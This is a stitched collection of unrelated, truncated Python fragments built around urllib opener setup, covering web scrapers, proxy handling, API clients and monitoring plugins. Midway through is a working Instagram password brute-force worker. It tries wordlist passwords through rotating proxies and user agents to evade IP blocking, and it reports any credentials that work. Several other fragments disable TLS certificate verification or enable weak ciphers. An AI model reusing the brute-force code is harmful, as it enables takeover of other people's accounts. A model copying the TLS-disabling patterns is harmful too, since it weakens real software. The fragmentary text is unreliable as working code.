"7e44c6d0933417ace05f257fa4ec4037_obj0_object.obj")
delete_obj_file(path)
shutil.rmtree(os.path.join(ikea_dir, "IKEA_chair_URBAN"))
# this are several couches in one object file
first_path = os.path.join(
ikea_dir, "IKEA_sofa_VRETA",
"3b58f55ed32ceef86315023d0bef39b6_obj0_object.obj")
split_object_according_to_groups(first_path,
os.path.join(ikea_dir, "IKEA_sofa_VRETA"))
os.remove(first_path)
for ele in [
"d1748541564ade6cfe63adf1a76042f0_obj0_object.obj",
"c5e1449fc0ee6833f072f21dd9a7251_obj0_object.obj"
]:
path = os.path.join(ikea_dir, "IKEA_wardrobe_PAX", ele)
delete_obj_file(path)
from bs4 import BeautifulSoup
import urllib.request as req
import urllib.parse as rep
import sys
import io
import os
sys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding='utf-8')
sys.stderr = io.TextIOWrapper(sys.stderr.detach(), encoding='utf-8')
#403error : 헤더(Header)정보를 심어서 User-agent 정보를 같이 보내는 코드를 통해 해결
opener = req.build_opener()
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
req.install_opener(opener)
base = "https://www.inflearn.com/"
quote = rep.quote_plus("추천-강좌")
url = base + quote
res = req.urlopen(url)
savePath = "D:/Atom_Workspace/section2/img/"
#폴더 생성 & 예외처리
try:
if not (os.path.isdir(savePath)):
os.makedirs(os.path.join(savePath))
except OSError as e:
if e.errno != errno.EEXIST:
print("폴더 만들기 실패!")
raise
def install_proxy(proxy_handler: Dict[str, str]) -> None:
proxy_support = request.ProxyHandler(proxy_handler)
opener = request.build_opener(proxy_support)
request.install_opener(opener)
def login(self):
if self.is_logged_in:
return True
# Store the cookies and create an opener that will hold them
cj = CookieJar()
opener = build_opener(HTTPCookieProcessor(cj))
# Add our headers
opener.addheaders = [('Content-Type',
'application/json; charset=UTF-8')]
# Install our opener (note that this changes the global opener to the one
# we just made, but you can also just call opener.open() if you want)
install_opener(opener)
# The action/ target from the form
authentication_url = self.url + 'login/'
# Input parameters we are going to send
payload = json.dumps({
'mobile': self.user,
'password': self.password,
'device_id': '11111111'
}).encode('utf-8')
# Use urllib to encode the payload
# data = urllib.urlencode(payload)
data = payload
# Build our Request object (supplying 'data' makes it a POST)
req = Request(authentication_url, data,
{'Content-Type': 'application/json'})
# Make the request and read the response
try:
cookies_set = False
resp = urlopen(req)
contents = resp.read()
#print(contents)
res = contents.decode('utf-8')
o = json.loads(res)
#import pprint
#pprint.pprint(o)
if 'tenant' in o and len(o['tenant']) > 1:
#print ('Multi-tenant Access, Sent Location Access Request for {0} Location'.format(self.cust))
for c in cj:
if c.name == 'csrftoken':
opener.addheaders = [('X-CSRFToken', c.value)]
o = self.post('second_lg/', {
'tenant_name': self.cust,
'device_id': '11111111'
})
cookies_set = True
locs = o['location']
for l in locs:
if self.location == l['display_name']:
self.location_id = l['id']
if self.location_id is None:
msg = 'ERROR: You are not allowed to Use the location {0}, Your locations are:'.format(
self.location)
i = 1
for l in locs:
msg += "\t\t{0}. {1}".format(i, l['display_name'])
i += 1
raise Exception(msg)
self.is_logged_in = True
self.user = o
# set CSRF header
if not cookies_set:
for c in cj:
if c.name == 'csrftoken':
opener.addheaders = [('X-CSRFToken', c.value)]
cookies_set = True
except urllib.error.HTTPError as e:
if e.code == 401:
self.auth_denied = True
raise Exception('Authentication Failure, Reason[{0}]'.format(
e.reason))
except urllib.error.URLError as e:
raise Exception('Authentication Failure, Reason[{0}]'.format(
e.reason))
except Exception as e:
#traceback.print_exc()
raise
def run_query(search_terms):
bing_api_key = read_bing_key()
if not bing_api_key:
raise KeyError('Bing Key Not Found')
# Specify the base url and the service (Bing Search API 2.0)
root_url = 'https://api.datamarket.azure.com/Bing/Search/'
service = 'Web'
# Specify how many results we wish to be returned per page.
# Offset specifies where in the results list to start from.
# With results_per_page = 10 and offset = 11, this would start from page 2.
results_per_page = 10
offset = 0
# Wrap quotes around our query terms as required by the Bing API.
# The query we will then use is stored within variable query.
query = "'{0}'".format(search_terms)
# Turn the query into an HTML encoded string.
# We use urllib for this - differences exist between Python 2 and 3.
# The try/except blocks are used to determine which function call works.
# Replace this try/except block with the relevant import and query assignment.
try:
from urllib import parse # Python 3 import.
query = parse.quote(query)
except ImportError: # If the import above fails, you are running Python 2.7.x.
from urllib import quote
query = quote(query)
# Construct the latter part of our request's URL.
# Sets the format of the response to JSON and sets other properties.
search_url = "{0}{1}?$format=json&$top={2}&$skip={3}&Query={4}".format(
root_url, service, results_per_page, offset, query)
# Setup authentication with the Bing servers.
# The username MUST be a blank string, and put in your API key!
username = ''
# headers = {'Authorization' : 'Basic {0}'.format( b64encode(bing_api_key) )}
# Create a 'password manager' which handles authentication for us.
try:
from urllib import request # Python 3 import.
password_mgr = request.HTTPPasswordMgrWithDefaultRealm()
except ImportError: # Running Python 2.7.x - import urllib2 instead.
import urllib2
password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, search_url, username, bing_api_key)
# Create our results list which we'll populate.
results = []
try:
# Prepare for connecting to Bing's servers.
try: # Python 3.5 and 3.6
handler = request.HTTPBasicAuthHandler(password_mgr)
opener = request.build_opener(handler)
request.install_opener(opener)
except UnboundLocalError: # Python 2.7.x
handler = urllib2.HTTPBasicAuthHandler(password_mgr)
opener = urllib2.build_opener(handler)
urllib2.install_opener(opener)
# Connect to the server and read the response generated.
try: # Python 3.5 or 3.6
response = request.urlopen(search_url).read()
response = response.decode('utf-8')
except UnboundLocalError: # Python 2.7.x
response = urllib2.urlopen(search_url).read()
# Convert the string response to a Python dictionary object.
json_response = json.loads(response)
# Loop through each page returned, populating out results list.
for result in json_response['d']['results']:
results.append({
'title': result['Title'],
'link': result['Url'],
'summary': result['Description']
})
except:
print("Error when querying the Bing API")
# Return the list of results to the calling function.
return results
def request(url,
close=True,
error=False,
proxy=None,
post=None,
headers=None,
mobile=False,
safe=False,
referer=None,
cookie=None,
output='',
timeout='30'):
try:
handlers = []
if not proxy == None:
handlers += [
urllib2.ProxyHandler({'http': '%s' % (proxy)}),
urllib2.HTTPHandler
]
opener = urllib2.build_opener(*handlers)
opener = urllib2.install_opener(opener)
if output == 'cookie' or output == 'extended' or not close == True:
if sys.version_info[0] == 3:
import http.cookiejar as cookielib
else:
import cookielib
cookies = cookielib.LWPCookieJar()
handlers += [
urllib2.HTTPHandler(),
urllib2.HTTPSHandler(),
urllib2.HTTPCookieProcessor(cookies)
]
opener = urllib2.build_opener(*handlers)
opener = urllib2.install_opener(opener)
try:
if sys.version_info < (2, 7, 9): raise Exception()
import ssl
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
handlers += [urllib2.HTTPSHandler(context=ssl_context)]
opener = urllib2.build_opener(*handlers)
opener = urllib2.install_opener(opener)
except:
pass
try:
headers.update(headers)
except:
headers = {}
if 'User-Agent' in headers:
pass
elif not mobile == True:
#headers['User-Agent'] = agent()
headers['User-Agent'] = cache.get(randomagent, 1)
else:
headers['User-Agent'] = 'Apple-iPhone/701.341'
if 'Referer' in headers:
pass
elif referer == None:
headers['Referer'] = '%s://%s/' % (urlparse.urlparse(url).scheme,
urlparse.urlparse(url).netloc)
else:
headers['Referer'] = referer
if not 'Accept-Language' in headers:
headers[
'Accept-Language'] = 'hu-HU,hu;q=0.8,en-US;q=0.6,en;q=0.4,de;q=0.2'
if 'Cookie' in headers:
pass
elif not cookie == None:
headers['Cookie'] = cookie
if sys.version_info[0] == 3:
request = urllib2.Request(
url,
data=(post.encode('utf-8') if post != None else post),
headers=headers)
else:
request = urllib2.Request(url, data=post, headers=headers)
try:
response = urllib2.urlopen(request, timeout=int(timeout))
except HTTPError as response:
if error == False: return
if output == 'cookie':
result = []
for c in cookies:
result.append('%s=%s' % (c.name, c.value))
result = "; ".join(result)
elif output == 'response':
if safe == True:
result = (str(response.code), response.read(224 * 1024))
else:
result = (str(response.code), response.read())
elif output == 'chunk':
try:
content = int(response.headers['Content-Length'])
except:
content = (2049 * 1024)
if content < (2048 * 1024): return
result = response.read(16 * 1024)
elif output == 'title':
result = response.read(1 * 1024)
result = parseDOM(result, 'title')[0]
elif output == 'extended':
cookie = []
for c in cookies:
cookie.append('%s=%s' % (c.name, c.value))
cookie = "; ".join(cookie)
content = response.headers
result = response.read()
return (result, headers, content, cookie)
elif output == 'geturl':
result = response.geturl()
elif output == 'headers':
content = response.headers
return content
else:
if safe == True:
result = response.read(224 * 1024)
else:
result = response.read()
if close == True:
response.close()
if (sys.version_info[0] == 3 and not isinstance(result, str)):
return result.decode('utf-8')
else:
return result
except:
return
def __init__(self):
self._response_data = None
self._last_url = None
request.install_opener(self.__get_opener())
import feedparser as _feedparser
import html2text as _html2text
import html as _html
from . import __url__
from . import __version__
from . import LOG as _LOG
from . import config as _config
from . import email as _email
from . import error as _error
from . import util as _util
_USER_AGENT = 'rss2email/{} ({})'.format(__version__, __url__)
_feedparser.USER_AGENT = _USER_AGENT
_urllib_request.install_opener(_urllib_request.build_opener())
_SOCKET_ERRORS = []
for e in ['error', 'herror', 'gaierror']:
if hasattr(_socket, e):
_SOCKET_ERRORS.append(getattr(_socket, e))
del e # cleanup namespace
_SOCKET_ERRORS = tuple(_SOCKET_ERRORS)
# drv_libxml2 raises:
# TypeError: 'str' does not support the buffer interface
_feedparser.PREFERRED_XML_PARSERS = []
class Feed(object):
"""Utility class for feed manipulation and storage.
def get_h_week_data(code, threadName, conn):
# 从这个股票已有数据的最后一个日期开始获取
engine = sql_model.get_conn()
sql = "select * from stock_weekly_data where sCode = '" + code + "' order by tDateTime desc limit 1"
print("%s %s" % (threadName, sql))
df = pd.read_sql(sql, engine)
if not df.empty:
start_date = df.loc[0, ['tDateTime']].values[0] + datetime.timedelta(
days=1)
start_time = datetime.datetime.strptime(str(start_date), "%Y-%m-%d")
else:
start_date = "1990-01-01"
start_time = datetime.datetime.strptime(str(start_date), "%Y-%m-%d")
while start_time < datetime.datetime.now():
try:
end_time = start_time + datetime.timedelta(days=365)
print("%s %s %s %s 开始" % (threadName, code, start_time, end_time))
stock_data = ts.bar(code,
conn=conn,
freq='W',
start_date=str(start_time),
end_date=str(end_time),
adj='hfq')
# stock_data = ts.get_h_data(code, start=str(start_time), end=str(end_time), autype='hfq')
# stock_data['sCode'] = code
stock_data['tDateTime'] = stock_data.index
stock_data2 = stock_data.sort_index(ascending=True)
stock_data2.rename(columns={
'code': 'sCode',
'open': 'iOpeningPrice',
'high': 'iMaximumPrice',
'close': 'iClosingPrice',
'low': 'iMinimumPrice',
'vol': 'iVolume',
'amount': 'iAmount'
},
inplace=True)
# 存入数据库
tosql_res = None
if len(stock_data2) > 1:
tosql_res = stock_data2.to_sql('stock_weekly_data',
engine,
if_exists='append',
index=False)
if tosql_res:
common.file_write("tosql_" + threadName, tosql_res)
print("%s %s %s" % (threadName, __name__, str(tosql_res)))
except IOError:
traceback.print_exc()
# print("IOError等待60秒")
# time.sleep(60)
proxy_address = requests.get("http://112.124.4.247:5010/get/").text
print("%s 更换代理 %s" % (threadName, proxy_address))
# 请求接口获取数据
proxy = {
# 'http': '106.46.136.112:808'
# 'https': "https://112.112.236.145:9999",
"http": proxy_address
}
print(proxy)
# 创建ProxyHandler
proxy_support = ProxyHandler(proxy)
# 创建Opener
opener = build_opener(proxy_support)
# 安装OPener
install_opener(opener)
else:
print("\n")
print("%s %s %s %s 成功" % (threadName, code, start_time, end_time))
start_time = end_time + datetime.timedelta(days=1)
def set_proxy(proxy):
''' 设置代理服务器 '''
urllib2.install_opener(
urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})))
FFMPEG = "https://ffmpeg.zeranoe.com/builds/win64/static/ffmpeg-20190502-7eba264-win64-static.zip"
# 32 Bits
else:
FFMPEG = "https://ffmpeg.zeranoe.com/builds/win32/static/ffmpeg-20190502-7eba264-win32-static.zip"
DemGlobal = "http://www.gisandbeers.com/RRSS/Cartografia/ETOPO1.zip"
progress = QProgressBar()
progress.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)
opener = build_opener()
opener.addheaders = [(
'User-Agent',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1941.0 Safari/537.36'
)]
install_opener(opener)
def reporthook(blocknum, blocksize, totalsize):
''' Url retrieve progress '''
readsofar = blocknum * blocksize
if totalsize > 0:
percent = readsofar * 1e2 / totalsize
progress.setValue(int(percent))
def WindowsInstaller():
''' complete windows installation '''
if not IsLavFilters():
''' lAV Filters '''
buttonReply = qgsu.CustomMessage(
def __init__(self):
opener = urllib2.build_opener()
# Set User-Agent
opener.addheaders = [('User-Agent', self.UserAgent)]
urllib2.install_opener(opener)
# This test allows the script to be used from the operating
# system command prompt (stand-alone), in a Python IDE,
# as a geoprocessing script tool, or as a module imported in
# another script
if __name__ == '__main__':
# Arguments are optional - If running from ArcGIS Desktop tool, parameters will be loaded into *argv
# If ArcGIS desktop installed
if (arcgisDesktop == "true"):
argv = tuple(
arcpy.GetParameterAsText(i)
for i in range(arcpy.GetArgumentCount()))
# ArcGIS desktop not installed
else:
argv = sys.argv
# Delete the first argument, which is the script
del argv[0]
# Logging
if (enableLogging == "true"):
# Setup logging
logger, logMessage = setLogging(logFile)
# Log start of process
logger.info("Process started.")
# Setup the use of a proxy for requests
if (enableProxy == "true"):
# Setup the proxy
proxy = urllib2.ProxyHandler({requestProtocol: proxyURL})
openURL = urllib2.build_opener(proxy)
# Install the proxy
urllib2.install_opener(openURL)
mainFunction(*argv)
def __init__(self):
opener = build_opener(MailmanHandler())
install_opener(opener)
# -*- coding: utf-8 -*-
import urllib.request as url_req
url = 'http://www.whatismyip.com'
ips = {'175.153.23.184:61234'}
proxy_suppert = url_req.ProxyHandler()
opener = url_req.build_opener(proxy_suppert)
url_req.install_opener(opener)
req = url_req.Request(url)
res = url_req.urlopen(req)
html = res.read().decode('utf-8')
print(html)
def install_proxy(proxy_handler):
proxy_support = request.ProxyHandler(proxy_handler)
opener = request.build_opener(proxy_support)
request.install_opener(opener)
def brute(q):
"""
main worker function
:param word:
:param event:
:return:
"""
if not q.empty():
try:
proxy = None
if len(proxys_working_list) != 0:
proxy = random.choice(list(proxys_working_list.keys()))
word = q.get()
word = word.replace("\r", "").replace("\n", "")
post_data = {
'username': USER,
'password': word,
}
header = {
"User-Agent": random.choice(user_agents),
'X-Instagram-AJAX': '1',
"X-CSRFToken": csrf_token,
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.instagram.com/",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
'Cookie': 'csrftoken=' + csrf_token
}
if proxy:
if _verbose:
print(bcolors.BOLD + "[*] Trying %s %s " % (word, " | " + proxy,) + bcolors.ENDC)
opener = rq.build_opener(
rq.ProxyHandler({'https': 'https://' + proxy}),
rq.HTTPHandler(),
rq.HTTPSHandler()
)
else:
if _verbose:
print(bcolors.BOLD + "[*] Trying %s" % (word,) + bcolors.ENDC)
opener = rq.build_opener(
rq.HTTPHandler(),
rq.HTTPSHandler()
)
rq.install_opener(opener)
req = rq.Request(URL, data=http_parser.urlencode(post_data).encode('ascii'), headers=header)
sock = rq.urlopen(req)
if sock.read().decode().find('"authenticated": true') != -1:
print(bcolors.OKGREEN + bcolors.BOLD + "\n[*]Successful Login:"******"---------------------------------------------------")
print("[!]Username: "******"[!]Password: "******"---------------------------------------------------\n" + bcolors.ENDC)
found_flag = True
q.queue.clear()
q.task_done()
except HTTPError as e:
if e.getcode() == 400 or e.getcode() == 403:
if e.read().decode("utf8", 'ignore').find('"checkpoint_required"') != -1:
print(bcolors.OKGREEN + bcolors.BOLD + "\n[*]Successful Login "
+ bcolors.FAIL + "But need Checkpoint :|" + bcolors.OKGREEN)
print("---------------------------------------------------")
print("[!]Username: "******"[!]Password: "******"---------------------------------------------------\n" + bcolors.ENDC)
found_flag = True
q.queue.clear()
q.task_done()
return
elif proxy:
print(bcolors.WARNING +
"[!]Error: Proxy IP %s is now on Instagram jail , Removing from working list !" % (proxy,)
+ bcolors.ENDC
)
if proxy in proxys_working_list:
proxys_working_list.pop(proxy)
print(bcolors.OKGREEN + "[+] Online Proxy: ", str(len(proxys_working_list)) + bcolors.ENDC)
else:
print(bcolors.FAIL + "[!]Error : Your Ip is now on Instagram jail ,"
" script will not work fine until you change your ip or use proxy" + bcolors.ENDC)
else:
print("Error:", e.getcode())
q.task_done()
return
except Exception as err:
if _debug:
print(bcolors.FAIL + "[!] Unknown Error in request." + bcolors.ENDC)
logger.error(err)
else:
print(bcolors.FAIL + "[!] Unknown Error in request, please turn on debug mode with -d" + bcolors.ENDC)
pass
return
def prepare(self, **kwargs):
# Hot-plug cookie handler
ssl_context = request.HTTPSHandler(
context=ssl.SSLContext(ssl.PROTOCOL_TLSv1))
cookie_handler = request.HTTPCookieProcessor()
if 'extractor_proxy' in kwargs and kwargs['extractor_proxy']:
proxy = parse_host(kwargs['extractor_proxy'])
proxy_handler = request.ProxyHandler({
'http': '%s:%s' % proxy,
'https': '%s:%s' % proxy,
})
else:
proxy_handler = request.ProxyHandler({})
if not request._opener:
opener = request.build_opener(proxy_handler)
request.install_opener(opener)
for handler in (ssl_context, cookie_handler, proxy_handler):
request._opener.add_handler(handler)
request._opener.addheaders = [('Cookie',
'__ysuid={}'.format(time.time()))]
assert self.url or self.vid
if self.url and not self.vid:
self.vid = self.__class__.get_vid_from_url(self.url)
if self.vid is None:
self.download_playlist_by_url(self.url, **kwargs)
exit(0)
if kwargs.get('src') and kwargs['src'] == 'tudou':
data = youku_ups(self.vid, '0402')['data']
else:
data = youku_ups(self.vid)['data']
if data.get('stream') is None:
if data.get('error'):
log.wtf(data['error']['note'])
log.wtf('Unknown error')
self.title = data['video']['title']
stream_types = dict([(i['id'], i) for i in self.stream_types])
audio_lang = data['stream'][0]['audio_lang']
for stream in data['stream']:
stream_id = stream['stream_type']
is_preview = False
if stream_id in stream_types and stream['audio_lang'] == audio_lang:
if 'alias-of' in stream_types[stream_id]:
stream_id = stream_types[stream_id]['alias-of']
if stream_id not in self.streams:
self.streams[stream_id] = {
'container': stream_types[stream_id]['container'],
'video_profile':
stream_types[stream_id]['video_profile'],
'size': stream['size'],
'pieces': [{
'segs': stream['segs']
}],
'm3u8_url': stream['m3u8_url']
}
src = []
for seg in stream['segs']:
if seg.get('cdn_url'):
src.append(seg['cdn_url'])
else:
is_preview = True
self.streams[stream_id]['src'] = src
else:
self.streams[stream_id]['size'] += stream['size']
self.streams[stream_id]['pieces'].append(
{'segs': stream['segs']})
src = []
for seg in stream['segs']:
if seg.get('cdn_url'):
src.append(seg['cdn_url'])
else:
is_preview = True
self.streams[stream_id]['src'].extend(src)
if is_preview:
log.w('{} is a preview'.format(stream_id))
# Audio languages
if 'dvd' in data and 'audiolang' in data['dvd']:
self.audiolang = data['dvd']['audiolang']
for i in self.audiolang:
i['url'] = 'http://v.youku.com/v_show/id_{}'.format(i['vid'])
if PYTHON_MAJOR_VERSION == 3:
import urllib.request as urlconnection
elif PYTHON_MAJOR_VERSION == 2:
import urllib2 as urlconnection
###################################### CONFIG SECTION START ###########################################
url = "http://localhost:2379"
###################################### CONFIG SECTION START ###########################################
DEFAULT_URL = "http://localhost:2379"
proxy = urlconnection.ProxyHandler({})
opener = urlconnection.build_opener(proxy)
urlconnection.install_opener(opener)
# If any changes done in the plugin, plugin_version must be incremented by 1. For. E.g 2,3,4..
PLUGIN_VERSION = "1"
# Setting this to true will alert you when there is a communication problem while posting plugin data to server
HEARTBEAT = "true"
STORE_METRICS = {
"getsSuccess": "gets_success",
"getsFail": "gets_fail",
"setsSuccess": "sets_success",
"setsFail": "sets_fail",
"deleteSuccess": "delete_success",
"deleteFail": "delete_fail",
def req(self, path, data=None):
'''
A thin wrapper around urllib2 to send requests and return the response
If the current instance contains an authentication token it will be
attached to the request as a custom header.
:rtype: dictionary
'''
if (hasattr(data, 'get') and data.get('eauth')
== 'kerberos') or self.auth.get('eauth') == 'kerberos':
return self.req_requests(path, data)
headers = {
'Accept': 'application/json',
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
}
handler = HTTPHandler(debuglevel=self.debug_http)
opener = build_opener(handler)
install_opener(opener)
# Build POST data
if data is not None:
postdata = json.dumps(data).encode()
clen = len(postdata)
# Create request object
url = urlparse.urljoin(self.api_url, path)
req = Request(url, postdata, headers)
if not url.startswith('http'):
raise PepperException(
"salt-api URL missing HTTP(s) protocol: {0}".format(
self.api_url))
# Add POST data to request
if data is not None:
req.add_header('Content-Length', clen)
# Add auth header to request
if self.auth and 'token' in self.auth and self.auth['token']:
req.add_header('X-Auth-Token', self.auth['token'])
# Send request
try:
f = urlopen(req)
ret = json.loads(f.read().decode('utf-8'))
except (HTTPError, URLError) as exc:
logger.debug('Error with request', exc_info=True)
status = getattr(exc, 'code', None)
if status == 401:
raise PepperException('Authentication denied')
if status == 500:
raise PepperException('Server error.')
logger.error('Error with request: {0}'.format(exc))
raise
except AttributeError:
logger.debug('Error converting response from JSON', exc_info=True)
raise PepperException('Unable to parse the server response.')
return ret
def metricCollector():
dictCounterValues = loadCounterValues()
data = {}
#defaults
data['plugin_version'] = PLUGIN_VERSION
data['heartbeat_required'] = HEARTBEAT
import re
PYTHON_MAJOR_VERSION = sys.version_info[0]
if PYTHON_MAJOR_VERSION == 3:
import urllib
import urllib.request as urlconnection
from urllib.error import URLError, HTTPError
from http.client import InvalidURL
elif PYTHON_MAJOR_VERSION == 2:
import urllib2 as urlconnection
from urllib2 import HTTPError, URLError
from httplib import InvalidURL
response = None
try:
url = NGINX_STATUS_URL
if USERNAME and PASSWORD:
password_mgr = urlconnection.HTTPPasswordMgr()
password_mgr.add_password(None, url, USERNAME, PASSWORD)
auth_handler = urlconnection.HTTPBasicAuthHandler(password_mgr)
opener = urlconnection.build_opener(auth_handler)
urlconnection.install_opener(opener)
response = urlconnection.urlopen(url, timeout=10)
output = response.read()
active_con = re.search(r'Active connections:\s+(\d+)', output)
if active_con:
connection = int(active_con.group(1))
data['active_connection'] = connection
read_writes = re.search(
r'Reading: (\d+)\s+Writing: (\d+)\s+Waiting: (\d+)', output)
if read_writes:
reading, writing, waiting = read_writes.groups()
data['reading'] = reading
data['writing'] = writing
data['waiting'] = waiting
conn = 0
handled = 0
requests = 0
updateDict = {}
per_s_connections = re.search(r'\s*(\d+)\s+(\d+)\s+(\d+)', output)
if per_s_connections:
conn = int(per_s_connections.group(1))
handled = int(per_s_connections.group(2))
requests = int(per_s_connections.group(3))
if dictCounterValues:
if 'request_per_s' in dictCounterValues:
rps = dictCounterValues['request_per_s']
data['request_per_s'] = (conn - rps) / TIME_INTERVAL
if 'connection_opened' in dictCounterValues:
conn_opened = dictCounterValues['connection_opened']
data['connection_opened'] = (handled -
conn_opened) / TIME_INTERVAL
if 'connection_dropped' in dictCounterValues:
conn_dropped = dictCounterValues['connection_dropped']
data['connection_dropped'] = (requests -
conn_dropped) / TIME_INTERVAL
else:
data['request_per_s'] = 0
data['connection_opened'] = 0
data['connection_dropped'] = 0
updateDict['request_per_s'] = conn
updateDict['connection_opened'] = handled
updateDict['connection_dropped'] = requests
updateCounterValues(updateDict)
except HTTPError as e:
data['status'] = 0
data['msg'] = 'Error_code : HTTP Error ' + str(e.code)
except URLError as e:
data['status'] = 0
data['msg'] = 'Error_code : URL Error ' + str(e.reason)
except InvalidURL as e:
data['status'] = 0
data['msg'] = 'Error_code : Invalid URL'
except Exception as e:
data['status'] = 0
data['msg'] = str(traceback.format_exc())
return data
def __init__(self,
server,
certificate_file,
version,
auth_token=None,
username=None,
password=None):
self.headers = {'Accept': 'application/json'}
self.headers['Version'] = version
if auth_token is not None:
self.headers['SEC'] = auth_token
elif (username is not None) and (password is not None):
self.headers['Authorization'] = b"Basic " + base64.b64encode(
(username + ':' + password).encode('ascii'))
else:
raise Exception('No valid credentials found in configuration.')
self.server_ip = server
self.base_uri = '/api/'
# Create a secure SSLContext
# PROTOCOL_SSLv23 is misleading. PROTOCOL_SSLv23 will use the highest
# version of SSL or TLS that both the client and server supports.
context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
# SSL version 2 and SSL version 3 are insecure. The insecure versions
# are disabled.
try:
context.options = ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3
except ValueError:
raise Exception(
'Disabling SSLv2 and SSLv3 is not supported on versions of OpenSSL prior to 0.9.8m.'
)
context.verify_mode = ssl.CERT_REQUIRED
if sys.version_info >= (3, 4):
context.check_hostname = True
check_hostname = True
if certificate_file is not None:
# Load the certificate if the user has specified a certificate
# file in config.ini.
# The default QRadar certificate does not have a valid hostname,
# so me must disable hostname checking.
if sys.version_info >= (3, 4):
context.check_hostname = False
check_hostname = False
# Instead of loading the default certificates load only the
# certificates specified by the user.
context.load_verify_locations(cafile=certificate_file)
else:
if sys.version_info >= (3, 4):
# Python 3.4 and above has the improved load_default_certs()
# function.
context.load_default_certs(ssl.Purpose.CLIENT_AUTH)
else:
# Versions of Python before 3.4 do not have the
# load_default_certs method. set_default_verify_paths will
# work on some, but not all systems. It fails silently. If
# this call fails the certificate will fail to validate.
context.set_default_verify_paths()
install_opener(
build_opener(
HTTPSHandler(context=context, check_hostname=check_hostname)))
def downloadHtml(url, headers=[], proxy={},
useProxyRate=0,
timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
decodeInfo="utf-8",
num_retries=5
):
"""
这是一个爬取网页数据的函数
它支持设置HTTP Request Headers，能设置UA；
它支持代理服务器的设置,
它支持timeout超时机制
它支持网页的编码指定
它支持服务器返回错误的处理
如果是3XX则Proxy的库会自己跳转
如果是4XX错误则记录日志
如果是5XX错误则尝试五次的机会重新获取网页信息
"""
if random.randint(minRangeForProxy,
maxRangeForProxy) > useProxyRate:
proxy = None #不使用代理服务器
print("no proxy")
# 创建Proxy Handler
proxy_handler = request.ProxyHandler(proxy)
# 创建opener
opener = request.build_opener(proxy_handler)
# 设置http request的headers
opener.addheaders = headers
# 把proxy handler安装到urllib库中
request.install_opener(opener)
# 初始时将html的返回值设置成None，
#如果成功的返回，则得到想要html信息
#否则，None值不会发生改变
html = None
# 发起请求
try:
res = request.urlopen(url,timeout=timeout)
html = res.read().decode(decodeInfo)
except UnicodeDecodeError:
logger.error("UnicodeDecodeError")
except error.URLError or error.HTTPError as e:
logger.error("Download Error")
# 3XX一般是跳转不需要额外处理
# 如果出现4XX错误:直接记录日志
if hasattr(e, 'code') and 400 <= e.code < 500:
logger.error("Client Error")
return html
# 如果出现5XX错误:服务器的问题
if num_retries > 0:
# 随机休息1-3秒，然后继续获取当前
time.sleep(random.randint(minSleepTime, maxSleepTime))
# 如果状态码为500，则重新做一次抓取的过程
#直到抓取的次数超过最大上限
if hasattr(e, 'code') and 500 <= e.code < 600:
html = downloadHtml(url, headers, proxy,
useProxyRate,
timeout, decodeInfo,
num_retries-1)
return html
def netapp_filer(host, username, password, timeout, command, parameters=None,
use_ssl=False, ssl_verify=False):
"""
Issue a command to the NetApp filer.
Note: Change to default use_ssl on before we ship a release version.
"""
proto = 'http'
if use_ssl:
proto = 'https'
url = "%s://%s/servlets/netapp.servlets.admin.XMLrequest_filer" % \
(proto, host)
req = Request(url)
req.add_header('Content-Type', 'text/xml')
password_manager = HTTPPasswordMgrWithDefaultRealm()
password_manager.add_password(None, url, username, password)
auth_manager = HTTPBasicAuthHandler(password_manager)
if use_ssl:
ssl._DEFAULT_CIPHERS += ':RC4-SHA'
ssl_ctx = ssl.create_default_context()
if ssl_verify == False:
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
opener = build_opener(HTTPSHandler(context=ssl_ctx), auth_manager)
else:
opener = build_opener(auth_manager)
install_opener(opener)
# build the command and the arguments for it
p = ""
if parameters:
for k, v in list(parameters.items()):
p += "<%s>%s</%s>" % (k, param_value(v), k)
payload = "<%s>\n%s\n</%s>" % (command, p, command)
data = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE netapp SYSTEM "file:/etc/netapp_filer.dtd">
<netapp xmlns="http://www.netapp.com/filer/admin" version="1.1">
%s
</netapp>
""" % payload
handler = None
rc = None
try:
handler = urlopen(req, data.encode('utf-8'), float(timeout))
if handler.getcode() == 200:
rc = netapp_filer_parse_response(handler.read())
except HTTPError:
raise
except URLError as ue:
err_msg = str(ue)
if isinstance(ue.reason, socket.timeout):
raise FilerError(Filer.ETIMEOUT, "Connection timeout")
elif "UNSUPPORTED_PROTOCOL" in err_msg or \
"EOF occurred in violation of protocol" in err_msg :
raise LsmError(ErrorNumber.NO_SUPPORT,
"ONTAP SSL version is not supported, "
"please enable TLS on ONTAP filer, "
"check 'man 1 ontap_lsmplugin'")
elif "CERTIFICATE_VERIFY_FAILED" in err_msg:
raise LsmError(ErrorNumber.NETWORK_CONNREFUSED,
"SSL certification verification failed")
else:
raise
except socket.timeout:
raise FilerError(Filer.ETIMEOUT, "Connection timeout")
except ssl.SSLError as sse:
# The ssl library doesn't give a good way to find specific reason.
# We are doing a string contains which is not ideal, but other than
# throwing a generic error in this case there isn't much we can do
# to be more specific.
if "timed out" in str(sse).lower():
raise FilerError(Filer.ETIMEOUT, "Connection timeout (SSL)")
else:
raise FilerError(Filer.EUNKNOWN,
"SSL error occurred (%s)", str(sse))
finally:
if handler:
handler.close()
return rc
self.unix_path = unquote_plus(host.split(':', 1)[0])
def connect(self):
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(self.unix_path)
self.sock = s
class UnixHTTPHandler(AbstractHTTPHandler):
def unixhttp_open(self, req):
return self.do_open(UnixHTTPConnection, req)
unixhttp_request = AbstractHTTPHandler.do_request_
install_opener(build_opener(UnixHTTPHandler))
